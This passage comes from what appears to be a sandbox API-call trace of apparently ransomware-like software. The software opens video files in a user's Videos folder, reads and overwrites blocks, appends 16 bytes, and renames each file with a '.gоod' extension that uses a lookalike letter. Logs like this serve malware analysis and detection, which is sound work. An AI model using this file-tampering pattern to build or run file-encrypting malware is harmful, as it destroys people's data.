lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\o9_kscj.mkv.gоod")) returned 1 [0166.250] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi", lpFilePart=0x0) returned 0x39 [0166.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0166.250] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\r3w8zrkzx 805xax1a.avi"), fInfoLevelId=0x0, lpFileInformation=0x34e5518 | out: lpFileInformation=0x34e5518*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6962a0, ftCreationTime.dwHighDateTime=0x1d4d553, ftLastAccessTime.dwLowDateTime=0x36869fc0, ftLastAccessTime.dwHighDateTime=0x1d4cce0, ftLastWriteTime.dwLowDateTime=0x36869fc0, ftLastWriteTime.dwHighDateTime=0x1d4cce0, nFileSizeHigh=0x0, nFileSizeLow=0x55ac)) returned 1 [0166.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0166.250] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi", lpFilePart=0x0) returned 0x39 [0166.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0166.250] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\r3w8zrkzx 805xax1a.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0166.250] GetFileType (hFile=0x61c) returned 0x1 [0166.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0166.250] GetFileType (hFile=0x61c) returned 0x1 [0166.250] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0166.250] ReadFile (in: hFile=0x61c, lpBuffer=0x34e5920, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x34e5920*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0166.251] CloseHandle (hObject=0x61c) returned 1 [0166.251] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi", lpFilePart=0x0) returned 0x39 [0166.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0166.251] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\r3w8zrkzx 805xax1a.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0166.251] GetFileType (hFile=0x61c) returned 0x1 [0166.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0166.251] GetFileType (hFile=0x61c) returned 0x1 [0166.251] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x55ac [0166.251] WriteFile (in: hFile=0x61c, lpBuffer=0x34e6bb0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x34e6bb0*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0166.251] CloseHandle (hObject=0x61c) returned 1 [0166.251] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi", lpFilePart=0x0) returned 0x39 [0166.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0166.252] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\r3w8zrkzx 805xax1a.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0166.252] GetFileType (hFile=0x61c) returned 0x1 [0166.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0166.252] GetFileType (hFile=0x61c) returned 0x1 [0166.252] ReadFile (in: hFile=0x61c, lpBuffer=0x34e8e68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x34e8e68*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0166.560] CloseHandle (hObject=0x61c) returned 1 [0166.560] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi", lpFilePart=0x0) returned 0x39 [0166.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0166.560] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\r3w8zrkzx 805xax1a.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0166.560] GetFileType (hFile=0x61c) returned 0x1 [0166.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0166.560] GetFileType (hFile=0x61c) returned 0x1 [0166.560] WriteFile (in: hFile=0x61c, lpBuffer=0x33cbe80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x33cbe80*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0166.560] CloseHandle (hObject=0x61c) returned 1 [0166.560] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi", lpFilePart=0x0) returned 0x39 [0166.561] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi.gоod", lpFilePart=0x0) returned 0x3e [0166.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0166.561] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\r3w8zrkzx 805xax1a.avi"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6962a0, ftCreationTime.dwHighDateTime=0x1d4d553, ftLastAccessTime.dwLowDateTime=0x36869fc0, ftLastAccessTime.dwHighDateTime=0x1d4cce0, ftLastWriteTime.dwLowDateTime=0x5f7df6f7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x55bc)) returned 1 [0166.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0166.561] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\r3w8zrkzx 805xax1a.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\R3W8zRKZX 805xAX1a.avi.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\r3w8zrkzx 805xax1a.avi.gоod")) returned 1 [0166.562] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv", lpFilePart=0x0) returned 0x32 [0166.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0166.562] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\scqntryibmb.flv"), fInfoLevelId=0x0, lpFileInformation=0x354e2f8 | out: lpFileInformation=0x354e2f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13820f60, ftCreationTime.dwHighDateTime=0x1d4d0d1, ftLastAccessTime.dwLowDateTime=0xdb410670, ftLastAccessTime.dwHighDateTime=0x1d4c977, ftLastWriteTime.dwLowDateTime=0xdb410670, ftLastWriteTime.dwHighDateTime=0x1d4c977, nFileSizeHigh=0x0, nFileSizeLow=0x151fd)) returned 1 [0166.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0166.562] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv", lpFilePart=0x0) returned 0x32 [0166.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0166.562] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\scqntryibmb.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0166.562] GetFileType (hFile=0x61c) returned 0x1 [0166.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0166.562] GetFileType (hFile=0x61c) returned 0x1 [0166.562] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0166.562] ReadFile (in: hFile=0x61c, lpBuffer=0x354e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x354e6c0*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0166.563] CloseHandle (hObject=0x61c) returned 1 [0166.563] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv", lpFilePart=0x0) returned 0x32 [0166.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0166.563] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\scqntryibmb.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0166.563] GetFileType (hFile=0x61c) returned 0x1 [0166.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0166.563] GetFileType (hFile=0x61c) returned 0x1 [0166.563] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x151fd [0166.563] WriteFile (in: hFile=0x61c, lpBuffer=0x354f930*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x354f930*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0166.563] CloseHandle (hObject=0x61c) returned 1 [0166.563] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv", lpFilePart=0x0) returned 0x32 [0166.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0166.564] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\scqntryibmb.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0166.564] GetFileType (hFile=0x61c) returned 0x1 [0166.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0166.564] GetFileType (hFile=0x61c) returned 0x1 [0166.564] ReadFile (in: hFile=0x61c, lpBuffer=0x3551bc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x3551bc8*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0166.744] CloseHandle (hObject=0x61c) returned 1 [0166.744] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv", lpFilePart=0x0) returned 0x32 [0166.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0166.744] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\scqntryibmb.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0166.744] GetFileType (hFile=0x61c) returned 0x1 [0166.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0166.744] GetFileType (hFile=0x61c) returned 0x1 [0166.744] WriteFile (in: hFile=0x61c, lpBuffer=0x33d9558*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x33d9558*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0166.744] CloseHandle (hObject=0x61c) returned 1 [0166.744] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv", lpFilePart=0x0) returned 0x32 [0166.744] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv.gоod", lpFilePart=0x0) returned 0x37 [0166.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0166.744] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\scqntryibmb.flv"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13820f60, ftCreationTime.dwHighDateTime=0x1d4d0d1, ftLastAccessTime.dwLowDateTime=0xdb410670, ftLastAccessTime.dwHighDateTime=0x1d4c977, ftLastWriteTime.dwLowDateTime=0x5f9a90cd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1520d)) returned 1 [0166.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0166.745] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\scqntryibmb.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\ScQNTRYIbmB.flv.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\scqntryibmb.flv.gоod")) returned 1 [0166.745] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi", lpFilePart=0x0) returned 0x37 [0166.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0166.745] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\sq836 s lnphgrzk.avi"), fInfoLevelId=0x0, lpFileInformation=0x349b6d0 | out: lpFileInformation=0x349b6d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853aa2a0, ftCreationTime.dwHighDateTime=0x1d4d394, ftLastAccessTime.dwLowDateTime=0x50ff9190, ftLastAccessTime.dwHighDateTime=0x1d4c9ca, ftLastWriteTime.dwLowDateTime=0x50ff9190, ftLastWriteTime.dwHighDateTime=0x1d4c9ca, nFileSizeHigh=0x0, nFileSizeLow=0x17b81)) returned 1 [0166.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0166.745] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi", lpFilePart=0x0) returned 0x37 [0166.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0166.746] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\sq836 s lnphgrzk.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0166.746] GetFileType (hFile=0x61c) returned 0x1 [0166.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0166.746] GetFileType (hFile=0x61c) returned 0x1 [0166.746] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0166.746] ReadFile (in: hFile=0x61c, lpBuffer=0x349bac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x349bac8*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0166.746] CloseHandle (hObject=0x61c) returned 1 [0166.746] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi", lpFilePart=0x0) returned 0x37 [0166.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0166.746] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\sq836 s lnphgrzk.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0166.746] GetFileType (hFile=0x61c) returned 0x1 [0166.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0166.747] GetFileType (hFile=0x61c) returned 0x1 [0166.747] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x17b81 [0166.747] WriteFile (in: hFile=0x61c, lpBuffer=0x349cd50*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x349cd50*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0166.747] CloseHandle (hObject=0x61c) returned 1 [0166.747] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi", lpFilePart=0x0) returned 0x37 [0166.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0166.747] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\sq836 s lnphgrzk.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0166.747] GetFileType (hFile=0x61c) returned 0x1 [0166.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0166.747] GetFileType (hFile=0x61c) returned 0x1 [0166.747] ReadFile (in: hFile=0x61c, lpBuffer=0x349f000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x349f000*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0167.076] CloseHandle (hObject=0x61c) returned 1 [0167.076] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi", lpFilePart=0x0) returned 0x37 [0167.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0167.076] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\sq836 s lnphgrzk.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0167.076] GetFileType (hFile=0x61c) returned 0x1 [0167.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0167.076] GetFileType (hFile=0x61c) returned 0x1 [0167.076] WriteFile (in: hFile=0x61c, lpBuffer=0x33e86e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x33e86e8*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0167.077] CloseHandle (hObject=0x61c) returned 1 [0167.077] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi", lpFilePart=0x0) returned 0x37 [0167.077] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi.gоod", lpFilePart=0x0) returned 0x3c [0167.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0167.077] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\sq836 s lnphgrzk.avi"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853aa2a0, ftCreationTime.dwHighDateTime=0x1d4d394, ftLastAccessTime.dwLowDateTime=0x50ff9190, ftLastAccessTime.dwHighDateTime=0x1d4c9ca, ftLastWriteTime.dwLowDateTime=0x5fcca244, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17b91)) returned 1 [0167.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0167.077] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\sq836 s lnphgrzk.avi"), 